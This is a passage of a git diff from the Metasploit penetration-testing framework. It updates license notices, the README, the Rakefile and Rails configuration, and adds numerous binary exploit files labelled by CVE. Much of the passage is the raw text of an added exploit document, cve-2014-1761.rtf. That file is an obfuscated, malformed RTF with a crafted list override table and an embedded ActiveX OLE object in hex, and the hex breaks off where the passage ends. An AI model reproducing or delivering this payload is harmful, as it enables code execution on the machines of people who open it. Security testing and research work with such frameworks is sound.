BSD-3-clause and BSD-4-clause - -Files: external/source/meterpreter/source/bionic/libdl/* -Copyright: 2007 The Android Open Source Project -License: BSD-3-clause - -Files: external/source/meterpreter/source/bionic/libm/* -Copyright: 2003, Steven G. Kargl - 2003 Mike Barcroft - 2002-2005 David Schultz - 2004 Stefan Farfeleder - 2003 Dag-Erling Coïdan Smørgrav - 1996 The NetBSD Foundation, Inc. - 1985,1988,1991,1992,1993 The Regents of the University of California - 1993,94 Winning Strategies, Inc. - 1993, 2004 by Sun Microsystems, Inc. -License: BSD-2-clause and BSD-3-clause and BSD-4-clause - -Files: external/source/meterpreter/source/extensions/espia/screen.c -Copyright: 1994-2008, Mark Hammond -License: BSD-2-clause - -Files: external/source/meterpreter/source/extensions/priv/server/timestomp.c -Copyright: 2005 Vincent Liu -License: GPL-2 - -Files: external/source/meterpreter/source/extensions/stdapi/server/webcam/bmp2jpeg.c external/source/meterpreter/source/screenshot/bmp2jpeg.c -Copyright: 1994-2008, Mark Hammond -License: BSD-2-clause - -Files: external/source/meterpreter/source/extensions/stdapi/server/railgun/railgun.c -Copyright: 2010, patrickHVE@googlemail.com -License: BSD-2-clause - -Files: external/source/meterpreter/source/pssdk/* -Copyright: microOLAP -License: N/A -Comment: HD Moore holds a single-seat developer license for the Packet Sniffer - SDK library embedded into the Meterpreter Sniffer extension. This - source code is not distributed with Metasploit Framework. - -Files: external/source/meterpreter/source/openssl/* -Copyright: 1998-2002 The OpenSSL Project -License: OpenSSL and SSLeay - -Files: external/source/meterpreter/source/server/posix/sfsyscall.h -Copyright: 2003 Philippe Biondi -License: LGPL - -Files: external/source/meterpreter/source/jpeg-8/* -Copyright: 1991-2010, Thomas G. Lane, Guido Vollbeding -License: BSD-3-clause - -Files: external/source/meterpreter/source/libpcap/* -Copyright: 1990, 1991, 1992, 1993, 1994, 1995, 1996, 1997 The Regents of the University of California. -License: BSD-4-clause - Files: external/source/metsvc/* Copyright: 2007, Determina Inc. License: BSD-3-clause @@ -163,7 +88,7 @@ Copyright: 2005-2009, Joel VanderWerf License: Ruby Files: lib/fastlib.rb -Copyright: 2011, Rapid7 Inc. +Copyright: 2011, Rapid7, Inc. License: Ruby Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* @@ -230,6 +155,11 @@ Files: modules/payloads/singles/windows/speak_pwned.rb Copyright: 2009-2010 Berend-Jan "SkyLined" Wever License: BSD-3-clause +Files: data/webcam/api.js +Copyright: Copyright 2013 Muaz Khan<@muazkh>. +License: MIT + + # # Gems # @@ -250,6 +180,10 @@ Files: arel Copyright: 2007-2010 Nick Kallen, Bryan Helmkamp, Emilio Tagua, Aaron Patterson License: MIT +Files: bcrypt +Copyright: 2007-2011 Coda Hale +License: MIT + Files: builder Copyright: 2003-2012 Jim Weirich (jim.weirich@gmail.com) License: MIT @@ -384,7 +318,7 @@ License: BSD-3-clause this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. . - * Neither the name of Rapid7 LLC nor the names of its contributors + * Neither the name of Rapid7, Inc. nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. . diff --git a/README.md b/README.md index 3bd0c6cc5f..7141aaf065 100644 --- a/README.md +++ b/README.md @@ -24,10 +24,11 @@ The mailing list archives are available from: Installing -- -Generally, you should use the installer which contains all dependencies -and will get you up and running with a few clicks. See the [Dev -Environment Setup][wiki-devenv] if you'd like to deal with dependencies -on your own. + +Generally, you should use [the free installer](https://www.metasploit.com/download) +which contains all dependencies and will get you up and running with a +few clicks. See the [Dev Environment Setup](http://r-7.co/MSF-DEV) if +you'd like to deal with dependencies on your own. Using Metasploit -- diff --git a/Rakefile b/Rakefile old mode 100644 new mode 100755 index 749f886717..232a7351b2 --- a/Rakefile +++ b/Rakefile @@ -1,81 +1,11 @@ -require 'bundler/setup' - -pathname = Pathname.new(__FILE__) -root = pathname.parent - -# add metasploit-framework/lib to load paths so rake files can just require -# files normally without having to use __FILE__ and recalculating root and the -# path to lib -lib_pathname = root.join('lib') -$LOAD_PATH.unshift(lib_pathname.to_s) +#!/usr/bin/env rake +require File.expand_path('../config/application', __FILE__) +require 'metasploit/framework/require' +# @note must be before `Metasploit::Framework::Application.load_tasks` # -# load rake files like a rails engine -# +# define db rake tasks from activerecord if activerecord is in the bundle. activerecord could be not in the bundle if +# the user installs with `bundle install --without db` +Metasploit::Framework::Require.optionally_active_record_railtie -rakefile_glob = root.join('lib', 'tasks', '**', '*.rake').to_path - -Dir.glob(rakefile_glob) do |rakefile| - # Skip database tasks, will load them later if MDM is present - next if rakefile =~ /database\.rake$/ - load rakefile -end - -print_without = false - -begin - require 'rspec/core/rake_task' -rescue LoadError - puts "rspec not in bundle, so can't set up spec tasks. " \ - "To run specs ensure to install the development and test groups." - - print_without = true -else - RSpec::Core::RakeTask.new(:spec => 'db:test:prepare') - - task :default => :spec -end - -# Require yard before loading metasploit_data_models rake tasks as the yard tasks won't be defined if -# YARD is not defined when yard.rake is loaded. -begin - require 'yard' -rescue LoadError - puts "yard not in bundle, so can't set up yard tasks. " \ - "To generate documentation ensure to install the development group." - - print_without = true -end - -begin - require 'metasploit_data_models' -rescue LoadError - puts "metasploit_data_models not in bundle, so can't set up db tasks. " \ - "To run database tasks, ensure to install the db bundler group." - - print_without = true -else - load 'lib/tasks/database.rake' - metasploit_data_models_task_glob = MetasploitDataModels.root.join( - 'lib', - 'tasks', - '**', - '*.rake' - ).to_s - # include tasks from metasplioit_data_models, such as `rake yard`. - # metasploit-framework specific yard options are in .yardopts - Dir.glob(metasploit_data_models_task_glob) do |path| - load path - end -end - - - -if print_without - puts "Bundle currently installed " \ - "'--without #{Bundler.settings.without.join(' ')}'." - puts "To clear the without option do `bundle install --without ''` " \ - "(the --without flag with an empty string) or " \ - "`rm -rf .bundle` to remove the .bundle/config manually and " \ - "then `bundle install`" -end +Metasploit::Framework::Application.load_tasks diff --git a/app/concerns/metasploit/credential/core/to_credential.rb b/app/concerns/metasploit/credential/core/to_credential.rb new file mode 100644 index 0000000000..af91fc4938 --- /dev/null +++ b/app/concerns/metasploit/credential/core/to_credential.rb @@ -0,0 +1,23 @@ +# Adds associations to `Metasploit::Credential::Core` which are inverses of association on models under +# {BruteForce::Reuse}. +require 'metasploit/framework/credential' + +module Metasploit::Credential::Core::ToCredential + extend ActiveSupport::Concern + + included do + + def to_credential + Metasploit::Framework::Credential.new( + public: public.try(:username) || '', + private: private.try(:data) || '', + private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym), + realm: realm.try(:value), + realm_key: realm.try(:key), + parent: self + ) + end + + end + +end diff --git a/app/validators/metasploit.rb b/app/validators/metasploit.rb new file mode 100644 index 0000000000..4733b4b1ed --- /dev/null +++ b/app/validators/metasploit.rb @@ -0,0 +1,2 @@ +require 'metasploit/framework/file_path_validator' +require 'metasploit/framework/executable_path_validator' \ No newline at end of file diff --git a/app/validators/metasploit/framework/executable_path_validator.rb b/app/validators/metasploit/framework/executable_path_validator.rb new file mode 100644 index 0000000000..ce5450054d --- /dev/null +++ b/app/validators/metasploit/framework/executable_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is an executable file. + class ExecutablePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.executable? value + record.errors[attribute] << (options[:message] || "is not a valid path to an executable file") + end + end + end + end +end + diff --git a/app/validators/metasploit/framework/file_path_validator.rb b/app/validators/metasploit/framework/file_path_validator.rb new file mode 100644 index 0000000000..4b1f5381b1 --- /dev/null +++ b/app/validators/metasploit/framework/file_path_validator.rb @@ -0,0 +1,16 @@ +module Metasploit + module Framework + # This is a ActiveModel custom validator that assumes the attribute + # is supposed to be the path to a regular file. It checks whether the + # file exists and whether or not it is a regular file. + class FilePathValidator < ActiveModel::EachValidator + + def validate_each(record, attribute, value) + unless ::File.file? value + record.errors[attribute] << (options[:message] || "is not a valid path to a regular file") + end + end + end + end +end + diff --git a/config/application.rb b/config/application.rb new file mode 100644 index 0000000000..49657b4a04 --- /dev/null +++ b/config/application.rb @@ -0,0 +1,42 @@ +require 'rails' +require File.expand_path('../boot', __FILE__) + +all_environments = [ + :development, + :production, + :test +] + +Bundler.require( + *Rails.groups( + db: all_environments, + pcap: all_environments + ) +) + +# +# Railties +# + +# For compatibility with jquery-rails (and other engines that need action_view) in pro +require 'action_view/railtie' + +# +# Project +# + +require 'metasploit/framework/common_engine' +require 'metasploit/framework/database' + +module Metasploit + module Framework + class Application < Rails::Application + include Metasploit::Framework::CommonEngine + + config.paths['config/database'] = [Metasploit::Framework::Database.configurations_pathname.try(:to_path)] + end + end +end + +# Silence warnings about this defaulting to true +I18n.enforce_available_locales = true diff --git a/config/boot.rb b/config/boot.rb new file mode 100644 index 0000000000..d1c7a63765 --- /dev/null +++ b/config/boot.rb @@ -0,0 +1,39 @@ +require 'pathname' +require 'rubygems' + +GEMFILE_EXTENSIONS = [ + '.local', + '' +] + +msfenv_real_pathname = Pathname.new(__FILE__).realpath +root = msfenv_real_pathname.parent.parent + +unless ENV['BUNDLE_GEMFILE'] + require 'pathname' + + GEMFILE_EXTENSIONS.each do |extension| + extension_pathname = root.join("Gemfile#{extension}") + + if extension_pathname.readable? + ENV['BUNDLE_GEMFILE'] = extension_pathname.to_path + break + end + end +end + +begin + require 'bundler' +rescue LoadError + $stderr.puts "[*] Metasploit requires the Bundler gem to be installed" + $stderr.puts " $ gem install bundler" + exit(0) +end + +Bundler.setup + +lib_path = root.join('lib').to_path + +unless $LOAD_PATH.include? lib_path + $LOAD_PATH.unshift lib_path +end diff --git a/config/cucumber.yml b/config/cucumber.yml new file mode 100644 index 0000000000..e3de143513 --- /dev/null +++ b/config/cucumber.yml @@ -0,0 +1,10 @@ +<% +rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : "" +rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}" +std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip" +ignored_tags = "--tags ~@boot --tags ~@targets" +%> +default: <%= std_opts %> <%= ignored_tags %> features +boot: <%= std_opts %> --tags @boot features +wip: --tags @wip:3 --wip features +rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/config/environment.rb b/config/environment.rb new file mode 100644 index 0000000000..4aa34124b9 --- /dev/null +++ b/config/environment.rb @@ -0,0 +1,5 @@ +# Load the rails application +require File.expand_path('../application', __FILE__) + +# Initialize the rails application +Metasploit::Framework::Application.initialize! diff --git a/data/android/apk/AndroidManifest.xml b/data/android/apk/AndroidManifest.xml index 39fa1cea0e..8671dfed52 100644 Binary files a/data/android/apk/AndroidManifest.xml and b/data/android/apk/AndroidManifest.xml differ diff --git a/data/android/apk/classes.dex b/data/android/apk/classes.dex index 29eda9c903..ff39e87f11 100644 Binary files a/data/android/apk/classes.dex and b/data/android/apk/classes.dex differ diff --git a/data/android/apk/res/drawable-mdpi/icon.png b/data/android/apk/res/drawable-mdpi/icon.png deleted file mode 100644 index c2e4f5634b..0000000000 Binary files a/data/android/apk/res/drawable-mdpi/icon.png and /dev/null differ diff --git a/data/android/apk/res/layout/main.xml b/data/android/apk/res/layout/main.xml deleted file mode 100644 index 23d9bacad3..0000000000 Binary files a/data/android/apk/res/layout/main.xml and /dev/null differ diff --git a/data/android/apk/resources.arsc b/data/android/apk/resources.arsc index 4fe928b45e..0ef9aa31f6 100644 Binary files a/data/android/apk/resources.arsc and b/data/android/apk/resources.arsc differ diff --git a/data/android/libs/armeabi/libndkstager.so b/data/android/libs/armeabi/libndkstager.so new file mode 100644 index 0000000000..d5b8051f7e Binary files /dev/null and b/data/android/libs/armeabi/libndkstager.so differ diff --git a/data/android/libs/mips/libndkstager.so b/data/android/libs/mips/libndkstager.so new file mode 100644 index 0000000000..973ffe39a7 Binary files /dev/null and b/data/android/libs/mips/libndkstager.so differ diff --git a/data/android/libs/x86/libndkstager.so b/data/android/libs/x86/libndkstager.so new file mode 100644 index 0000000000..2ebc0a6bcc Binary files /dev/null and b/data/android/libs/x86/libndkstager.so differ diff --git a/data/android/meterpreter.jar b/data/android/meterpreter.jar index 9fcffba058..2750ad1f42 100644 Binary files a/data/android/meterpreter.jar and b/data/android/meterpreter.jar differ diff --git a/data/android/metstage.jar b/data/android/metstage.jar index 9a3d4d6315..bbb5fa120e 100644 Binary files a/data/android/metstage.jar and b/data/android/metstage.jar differ diff --git a/data/android/shell.jar b/data/android/shell.jar index 83c879c582..5eed565220 100644 Binary files a/data/android/shell.jar and b/data/android/shell.jar differ diff --git a/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll new file mode 100755 index 0000000000..c5de3905b5 Binary files /dev/null and b/data/exploits/CVE-2013-0109/nvidia_nvsvc.x86.dll differ diff --git a/data/exploits/CVE-2013-0634/exploit.swf b/data/exploits/CVE-2013-0634/exploit.swf new file mode 100755 index 0000000000..8ac09f8ec0 Binary files /dev/null and b/data/exploits/CVE-2013-0634/exploit.swf differ diff --git a/data/exploits/CVE-2013-5045/CVE-2013-5045.dll b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll new file mode 100755 index 0000000000..fd0b378216 Binary files /dev/null and b/data/exploits/CVE-2013-5045/CVE-2013-5045.dll differ diff --git a/data/exploits/CVE-2013-5331/Exploit.swf b/data/exploits/CVE-2013-5331/Exploit.swf new file mode 100755 index 0000000000..5dbfe348fb Binary files /dev/null and b/data/exploits/CVE-2013-5331/Exploit.swf differ diff --git a/data/exploits/CVE-2014-0257/CVE-2014-0257.dll b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll new file mode 100755 index 0000000000..880dab9127 Binary files /dev/null and b/data/exploits/CVE-2014-0257/CVE-2014-0257.dll differ diff --git a/data/exploits/CVE-2014-0322/AsXploit.swf b/data/exploits/CVE-2014-0322/AsXploit.swf new file mode 100755 index 0000000000..4e16ac3ccf Binary files /dev/null and b/data/exploits/CVE-2014-0322/AsXploit.swf differ diff --git a/data/exploits/CVE-2014-0497/Vickers.swf b/data/exploits/CVE-2014-0497/Vickers.swf new file mode 100755 index 0000000000..f0e1ccb1f4 Binary files /dev/null and b/data/exploits/CVE-2014-0497/Vickers.swf differ diff --git a/data/exploits/CVE-2014-0515/Graph.swf b/data/exploits/CVE-2014-0515/Graph.swf new file mode 100755 index 0000000000..aa30c2421e Binary files /dev/null and b/data/exploits/CVE-2014-0515/Graph.swf differ diff --git a/data/exploits/capture/http/forms/extractforms.rb b/data/exploits/capture/http/forms/extractforms.rb index 68d64581cc..f734949a5a 100755 --- a/data/exploits/capture/http/forms/extractforms.rb +++ b/data/exploits/capture/http/forms/extractforms.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -# Copyright (C) 2008 Metasploit LLC +# Copyright (C) 2008 Rapid7, Inc. # # This script extracts the forms from the main page of each diff --git a/data/exploits/capture/http/forms/grabforms.rb b/data/exploits/capture/http/forms/grabforms.rb index 98a6e3400a..76f0c00533 100755 --- a/data/exploits/capture/http/forms/grabforms.rb +++ b/data/exploits/capture/http/forms/grabforms.rb @@ -1,6 +1,6 @@ #!/usr/bin/env ruby -# Copyright (C) 2008 Metasploit LLC +# Copyright (C) 2008 Rapid7, Inc. # # This script extracts the forms from the main page of each diff --git a/data/exploits/cve-2013-1300/schlamperei.x86.dll b/data/exploits/cve-2013-1300/schlamperei.x86.dll new file mode 100644 index 0000000000..9b43f9843d Binary files /dev/null and b/data/exploits/cve-2013-1300/schlamperei.x86.dll differ diff --git a/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll new file mode 100755 index 0000000000..6745431ff3 Binary files /dev/null and b/data/exploits/cve-2013-3881/cve-2013-3881.x86.dll differ diff --git a/data/exploits/cve-2014-1610/metasploit.djvu b/data/exploits/cve-2014-1610/metasploit.djvu new file mode 100644 index 0000000000..eb000fa840 Binary files /dev/null and b/data/exploits/cve-2014-1610/metasploit.djvu differ diff --git a/data/exploits/cve-2014-1610/readme.md b/data/exploits/cve-2014-1610/readme.md new file mode 100644 index 0000000000..cb6dc25c27 --- /dev/null +++ b/data/exploits/cve-2014-1610/readme.md @@ -0,0 +1 @@ +Any DjVu file can be used this is just a snazzy Metasploit one diff --git a/data/exploits/cve-2014-1761.rtf b/data/exploits/cve-2014-1761.rtf new file mode 100755 index 0000000000..ff8bb04e9c --- /dev/null +++ b/data/exploits/cve-2014-1761.rtf @@ -0,0 +1,183 @@ +{\rt{{{\{\info{\author ismail - [2010{\n{\info{\author ismail - [2010]}ofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}]}info{\revtim\yr{\creatim\yr2014\{\info{\author ismail - [2010]}mo3\dy8\hr3\min9}2014\m{\revt{\*\company home}im\yr2014\mo3\dy8\hr3\min9}{\info{{\revtim\yr2014\mo3\dy8\hr3\min9}\author ismail - [201{\crea{{\revtim\yr2014\mo3\dy8\hr3\min9}\info{\author ismail - [2010]}tim\yr2014\mo3\dy8\hr3\min9}0]}o3\dy8\hr3\min9}{\aut{\nofcha{\info{\author ismail - [2010]}rsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3{\creatim\yr2014\mo3\dy8\hr3\min9}\dy8\hr3\min9}\* +sidtbl +{\creatim\yr2014\mo3\dy8\hr3\min9}sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}hor ismail - [2010]}\revtim{\info{\author ismail - [20{\info{\author ismail - [2010]}10]}\yr2014\mo3\dy8\hr3\min9}{\revt{\inf{\c{\*\{\nofcharsw{\nofcharsws69}{\op{\c{\*\company home}reatim\yr2014\mo3\dy8{\creatim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}erator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}s69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}company home}reatim\yr2014\mo3\dy8\hr3\min9}o{\author ismail - [201{\nofcharsws69}{\operator is{{\revtim\yr2014\mo3\dy8\hr3\min9}\*\company home}mail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}0]}im\yr2014\m{\info{\author ism{\creatim\yr2014\mo3\dy8\hr3\min9}ai{\revtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}o3\dy8\hr3\min9}{\*\company home}\i{{{\crea{\nofcharsws69}{\operator ismai{\creatim{\nofcharsws69}{\o{\*\company home}{\revtim\yr2014\mo3\dy8\hr3\min9}perator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014{\*\company home}\mo3\dy8\hr3\min9}l - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}tim{\nofcharsws{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}69}{\operator ismail - [2010]}{\* +sidtbl{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;} +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\yr2014\mo3\dy8{\revtim\yr2014\mo3\dy8\hr3\min9}\hr3\min9}\{{\creatim\yr2014\mo3\dy8\hr3\min9}\cr{\creati{\*\company home}m{\*\company home}\yr2{\creatim\yr2014\mo3\dy8\hr3\min9}0{\revtim\yr2014\mo3\dy8\hr3\min9}14\mo3\dy8\hr3\min9}eatim{\*\company home{\creatim\yr2014\mo3\dy8\hr3\min9}}\yr2014\mo3\dy8\hr3\min9{\*\compa{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ny home}}revtim\yr20{\nof{\cr{\creatim\yr2014\mo3\dy8\hr3\min9}eatim\yr2014\mo3\dy8\hr3\min9}charsws69}{\ope{{\creatim\yr2014\mo3\dy8\hr3\min9}\*\company home}rator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\revtim\yr2014\mo3\dy8\hr3\min9}14\{\creatim\yr2014\mo3\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}dy8\hr3\min9}mo3\dy8\hr{\info{\auth{\info{\author ismail - {\*\company home}[2010]}or ismail - [2010]}3\min9}{\*\company{\info{\author ismail - [2010]} home}\*\company home}nfo{\*\company home}{\author{\info{\auth{\info{\author ismail - [2010]}or ismail - [2010]} ismail - [2010]}{\r{{\*\company home}\revt{\n{\nofcharsws69}{\operator ismail - [2010]}{\* +si{\revtim\yr2014\mo3\dy8\hr3\min9}dt{\info{\author ismail - [2010]}bl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}ofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr20{{{\r{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}\nofcharsws69}{\operator ismail - [2010]}{{\revtim\yr2014\mo3\dy8\hr3\min9}\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\info{\a{\revtim\yr2014\mo3\dy8\hr3\min9}uthor isma{\creatim\yr2014\mo3\dy8{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}\hr3\min9}il - [2010]}14\mo3\dy8\hr3\{\*\company home}min9}evtim\yr{\no{\revtim\yr2014{\*\company home}\mo3\dy8\hr3\min9}fcharsws69}{\operator ismail - [2010]}{\* +sidtbl +{\*\company home}s{\revtim\yr2014\mo3\dy8\hr3\min9}id8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}2014\mo3\dy8\{{\creatim\yr201{\*\company home}4\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}mo3\dy8\hr3\min9}\revtim\yr2014\mo3\dy8\hr3\min9}hr3\min9}f1{{\inf{\creatim\yr2014\mo3\dy8\hr3\min9}{\*\company home}o{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\a{\info{\no{\*\company home}fcharsws69}{\ope{\*\company home}rator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}{\author ismai{\r{\no{\revtim\yr2014\mo3\dy8\hr3\min9}fcharsws69}{\oper{\creatim\y{\creatim\yr2014\mo3\dy8\hr3\min9}r2014\mo3\dy8\hr3\min9}ator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}evtim\yr2014\mo3\dy8\hr3\min9}l - [2010]}uthor isma{\*\company home{\info{\author ismail - [2010]}}il - [2010]}\*\list{{\creat{\{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}im\yr2014{\revtim\yr2014\mo3\dy8\hr3\min9}\mo3\dy8\hr3\min9}\*\company home}{\revti{\*\company home}m\yr2014\mo3\dy8\hr3\min9}{\revtim\yr2014\mo3\dy8\h{\creatim\yr2014\mo3\dy8\hr3\min9}r3\mi{\creatim\yr2014\mo3\dy{\nofcharsws69}{\operator ismail - [2010]}{\* +sidtbl +sid8596814 +sid8926214 +sid10110685}{\leveltext\leveltemplateid67698693'01\u-3929 ?;}8\hr3\min9}n9}overridetable{\listoverride\listid1094795585\listoverridecount25 +{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel}{\lfolevel} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn232\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart1\levelpicture1\levelold1\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\leveltext\'ff\u-48831 ?\u48831 ?;}{\levelnumbers\'5A'dY'X';}\chbrdr\brdrnone\brdrcf1\chshdng0\chcfpat1\chcbpat1\f4\rtlch\fcs1 \af0 \ltrch\fbias0 \s69\hres1\chhres1\fi-361\li1081\lin6480\jclisttab\tx1081}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn249\leveljc0\leveljcn0\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'92ZDCBAY';}}} +{\lfolevel\listoverridestartat\listoverrideformat{\listlevel\levelnfc0\levelnfcn194\leveljc0\leveljcn3\levelfollow39\levelstartat31611\levelegal1\levelnorestart0\levelpicture1\levelold0\levelprev1\levelprevspace1\levelspace22873\levelindent23130{\levelnumbers\'5C'X'ABCD;}}} +{\lfolevel}{\lfolevel}{\lfolevel} +\ls16962}} +{\object\objocx\f37\objsetsize\objw1500\objh749{\*\objclass MSComctlLib.ImageComboCtl.2}{\*\objdata 01050000020000001c000000 +4d53436f6d63746c4c69622e496d616765436f6d626f43746c2e32000000000000000000001e0000 +d0cf11e0a1b11ae1000000000000000000000000000000003e000300feff0900060000000000000000000000010000000100000000000000001000000b00000001000000feffffff0000000000000000ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +fffffffffffffffffdffffff0d000000030000000400000005000000060000000700000008000000090000000a000000fefffffffefffffffefffffffeffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff +ffffffffffffffffffffffffffffffff52006f006f007400200045006e00740072007900000000000000000000000000000000000000000000000000000000000000000000000000000000000000000016000500ffffffffffffffff0200000066a69ddd9485d111b16a00c0f0283628000000000000000000000000e01c 